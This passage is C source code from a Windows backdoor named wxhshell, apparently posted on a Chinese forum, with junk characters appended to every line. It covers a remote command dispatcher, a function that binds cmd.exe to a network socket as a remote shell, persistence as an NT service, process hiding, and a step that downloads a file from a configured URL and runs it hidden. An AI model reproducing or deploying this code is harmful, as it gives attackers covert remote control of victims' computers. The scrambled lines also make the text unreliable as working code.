  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); _`Kh8G {e  
  } Rt%Dps%  
  else { F-Z>WC{+  
y%--/;  
    switch(cmd[0]) { e7G>'K  
  /_fZ2$/  
  // 帮助 h<m>S,@g  
  case '?': { :%Z)u:~':  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 9F,XjPK=  
    break; Ql7opl,  
  } FIn)O-<  
  // 安装 $.DD^ "9  
  case 'i': { fR.raI4et  
    if(Install()) /XRgsF  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^umHuAAE  
    else Ahd{f!  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); M]\"]H?  
    break; oQyMs>g  
    } T5~Qfl?Y  
  // 卸载 #oGvxc7  
  case 'r': { " 6$+B/5  
    if(Uninstall()) KJ?/]oLr0  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); TuMZHB7h;  
    else yyR@kOGga  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Zfu" 8fX  
    break; W6B o\UK  
    } !/&~Feb  
  // 显示 wxhshell 所在路径 tORDtMM9+  
  case 'p': { bVRxGn @l  
    char svExeFile[MAX_PATH]; h\-jqaq  
    strcpy(svExeFile,"\n\r"); 0g#?'sD  
      strcat(svExeFile,ExeFile); QqY42hR  
        send(wsh,svExeFile,strlen(svExeFile),0); 'U`I  
    break; DF#WQ8?$]  
    } 9 DXu*}  
  // 重启 ]:^kw$  
  case 'b': { d@|j>Z  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); '9wD+'c=A  
    if(Boot(REBOOT)) S4O:?^28  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); >|T?87  
    else { =7P; /EV  
    closesocket(wsh); /=OSGIJzm  
    ExitThread(0); b!37:V\#}  
    } X>jwjRK $  
    break; q33!X!br  
    } 6a`_i  
  // 关机 uP ?gGo  
  case 'd': { [/t/694  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); !as<UH"\  
    if(Boot(SHUTDOWN)) sEfGf.  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); xcIZ'V  
    else { ^?[^o\/@R  
    closesocket(wsh); Z42v@?R.!W  
    ExitThread(0); Z@iMG  
    } %@M/)"k  
    break; fs]Zw mA^  
    } &sA6o"h~  
  // 获取shell ~pSD|WX  
  case 's': { &9] [ ~$  
    CmdShell(wsh); .J\U|r  
    closesocket(wsh); >-y&k^a=  
    ExitThread(0); <Q-ufF85)  
    break; Mz{ Rh+gS  
  } :S7yM8 b`  
  // 退出 tbv6-) Hs  
  case 'x': { /C8(cVNZ  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); W%Zyt:H`  
    CloseIt(wsh); Zk;;~ESOU  
    break; kk5i{.?[  
    } XKU=VOY  
  // 离开 vrW9<{  
  case 'q': { k0D&F;a%  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ! xqG-rd '  
    closesocket(wsh); kAk,:a;P  
    WSACleanup(); GrQAho  
    exit(1); <db/. A3  
    break; t_VHw'~"  
        } :* /``  
  } %J%gXk}]  
  } :~)Q]G1Nj  
$v oyXi`*  
  // 提示信息 +#H8d1^5  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); B 9Mwj:)}  
} $kz5)vj "  
  } ~O 6~',KD  
K6oX nz}  
  return; $ .Z2Rdlv(  
} {:FITF3o  
&Y=NUDt_  
// shell模块句柄 fR[!=-6^f  
int CmdShell(SOCKET sock) 2RXGY  
{ !<6wrOMaO  
STARTUPINFO si; ".i{WyTt  
ZeroMemory(&si,sizeof(si)); $xZk{ rK  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; f"0H9  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Y@\5gZ&T  
PROCESS_INFORMATION ProcessInfo; =,]J"n8|v  
char cmdline[]="cmd"; h5l Lb+  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 1W!n"3#  
  return 0; 0 De M  
} mVL,J=2  
E;d 5$  
// 自身启动模式 CC-:dNb  
int StartFromService(void) uN(~JPAw5  
{ v!U#C[a^  
typedef struct |8`;55G  
{ TgB;R5  
  DWORD ExitStatus; PrKl whi#  
  DWORD PebBaseAddress; /#se>4]  
  DWORD AffinityMask; /[IQ:':^  
  DWORD BasePriority; h{xER IV1u  
  ULONG UniqueProcessId; ?-84_i  
  ULONG InheritedFromUniqueProcessId; XP^6*}H.*  
}   PROCESS_BASIC_INFORMATION; 7~Ga>BK  
yl ;'Ru:  
PROCNTQSIP NtQueryInformationProcess; ,"VQ 0Z1  
q |^O  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 2M#CJ&  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 1DcarF  
k51s*U6=  
  HANDLE             hProcess; O({_x@  
  PROCESS_BASIC_INFORMATION pbi; jgo@~,5R  
-9*WQU9R  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); l9ihW^  
  if(NULL == hInst ) return 0; @ty|HXW  
Z =c@Gd  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); >C}RZdO~  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); r=Q5=(hn  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); _Usg`ax-  
*&0Hz{|  
  if (!NtQueryInformationProcess) return 0; ` j<tI6[e  
?^vZ{B)&0E  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); f,a %@WT  
  if(!hProcess) return 0; Lb{D5k*XU  
y&Hh8|'mC  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ZtLn*M  
?.4l1X6Ba  
  CloseHandle(hProcess); ibc/x v2  
Xh/av[Q  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ~=mM/@HD  
if(hProcess==NULL) return 0; feW9 >f;  
E\S&} K,s  
HMODULE hMod; `j![  
char procName[255]; *a%PA(%6  
unsigned long cbNeeded; nu<!/O  
tp^'W7E  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); _D4}[`  
a&hM:n4P  
  CloseHandle(hProcess); z.^ )r  
k-e@G'  
if(strstr(procName,"services")) return 1; // 以服务启动 ~QcKW<bz  
G]1pGA;  
  return 0; // 注册表启动 %nh'F6bNgv  
} j[`?`RyU  
-*M:OF"Zh  
// 主模块 P[K=']c  
int StartWxhshell(LPSTR lpCmdLine) fNJ;{&#  
{ %4Zy1{yKs_  
  SOCKET wsl; jf/9]`Hf  
BOOL val=TRUE; k#) .E X  
  int port=0; &zcj U+n  
  struct sockaddr_in door; wcf_5T  
ACYn87tq  
  if(wscfg.ws_autoins) Install(); ;alFK*K6  
bVHi3=0{  
port=atoi(lpCmdLine); |pR$' HO  
[;AcV73  
if(port<=0) port=wscfg.ws_port; }AqD0Qd2Hj  
AyO|9!F@A  
  WSADATA data; _[o^23Hj  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Ig KAD#2a  
h,'+w  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   2QRn c"  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); |=T<WU1$  
  door.sin_family = AF_INET; q*nz4QTOE  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); W@dY:N}  
  door.sin_port = htons(port); UJ$:5*S=u  
- (}1o9e\7  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { I7^X;Q F  
closesocket(wsl); HjS^ nYl  
return 1; V9_HC f  
} vqi$}=%n?W  
X2YOD2<v  
  if(listen(wsl,2) == INVALID_SOCKET) { )"uG*}\?b  
closesocket(wsl); am+mXb  
return 1; ha! "BR  
} 9 /(c cj  
  Wxhshell(wsl); D#1~]d  
  WSACleanup(); 1T,PC?vr{  
_l=  
return 0; UiZp -Y%ki  
i(iP}: 3  
} ?(8%SPRk  
gdE`UZ\  
// 以NT服务方式启动 ; S ` -9}6  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) (x0*(*A}  
{ lkg*AAR?'  
DWORD   status = 0; Z[S+L"0  
  DWORD   specificError = 0xfffffff; hyfnIb@~}  
 r;X0 B  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 8 {]Gh 0+  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; *;E+9^:V  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; {b0&qV   
  serviceStatus.dwWin32ExitCode     = 0; 8Vhck-wF  
  serviceStatus.dwServiceSpecificExitCode = 0; X6GkJ R  
  serviceStatus.dwCheckPoint       = 0; $uK"@Mw  
  serviceStatus.dwWaitHint       = 0; */y]!<\v!k  
fbTw6Fde$  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); dHF$T33It  
  if (hServiceStatusHandle==0) return; 3,L3C9V'  
qK vr*xlC  
status = GetLastError(); _JTxm>  
  if (status!=NO_ERROR) uo'31V0  
{ S5u#g`I]  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; /NX7Vev  
    serviceStatus.dwCheckPoint       = 0; `{lAhZ5  
    serviceStatus.dwWaitHint       = 0; Guw|00w,Q$  
    serviceStatus.dwWin32ExitCode     = status; ,]_(-tyN|  
    serviceStatus.dwServiceSpecificExitCode = specificError; k5;Vl0Ho  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); KI@    
    return; xf"5<PTW</  
  } E+ 3yN\X(  
Df:7P>  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; A a} o*  
  serviceStatus.dwCheckPoint       = 0; uoY`qF.`  
  serviceStatus.dwWaitHint       = 0; I#E(r>KW*  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Vy^yV|`v  
} 3u0<v%Qi  
,,gLrV k  
// 处理NT服务事件,比如:启动、停止 vF6*c  
VOID WINAPI NTServiceHandler(DWORD fdwControl) J2< QAX  
{ [ 7Lxt  
switch(fdwControl) tb?F}MEe  
{ 795Jwv  
case SERVICE_CONTROL_STOP: .A7tq  
  serviceStatus.dwWin32ExitCode = 0; R 4$Q3vcH  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Sja{$zL+W  
  serviceStatus.dwCheckPoint   = 0; WCmNibj  
  serviceStatus.dwWaitHint     = 0; m_!vIUOz  
  { Jp3di&x  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); &M3ES}6  
  } H]$=*(aje  
  return; 0SY f<$  
case SERVICE_CONTROL_PAUSE: _p J_V>l  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ca/o#9:N`:  
  break; yaRcBT?  
case SERVICE_CONTROL_CONTINUE: !\#Wk0Ku  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; %:w% o$  
  break; ezr\T  
case SERVICE_CONTROL_INTERROGATE: 5u|=;Hz*)  
  break; u@Cf*VPK  
}; 2@R8P~^W  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); FfxX)p1t  
} SQt|(r)  
wL-ydMIx  
// 标准应用程序主函数 _m7U-;G  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) grCO-S|j^  
{ (!VMnLlXRK  
xa{<R+LR  
// 获取操作系统版本 _h1 HuL  
OsIsNt=GetOsVer(); MO~~=]Y'  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ..]*Ao2  
RJRq` T|m  
  // 从命令行安装 ?#*  
  if(strpbrk(lpCmdLine,"iI")) Install(); v=*Bb3dt  
5&<d2EG6l'  
  // 下载执行文件 k)5_1y  
if(wscfg.ws_downexe) { _iGU|$a  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) iL0jpa<}  
  WinExec(wscfg.ws_filenam,SW_HIDE); wAu[pWD'6;  
} 6i]Nr@1C  
Z[k#AgC)  
if(!OsIsNt) { j(%gMVu  
// 如果时win9x,隐藏进程并且设置为注册表启动 'z-;*!A}j  
HideProc(); lP@)   
StartWxhshell(lpCmdLine); (~ ]g,*+  
} 5"kx}f2$  
else S~k 0@  
  if(StartFromService()) %9QMzz5  
  // 以服务方式启动 9P7xoXJ@y  
  StartServiceCtrlDispatcher(DispatchTable); "B9[cDM&  
else &N"'7bK6n  
  // 普通方式启动 jB%"AvIX  
  StartWxhshell(lpCmdLine); $AA~]'O>6:  
>lraYMc<rZ  
return 0; ` y^zM/Ib  
}
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只看该作者 1 发表于: 2006-10-10
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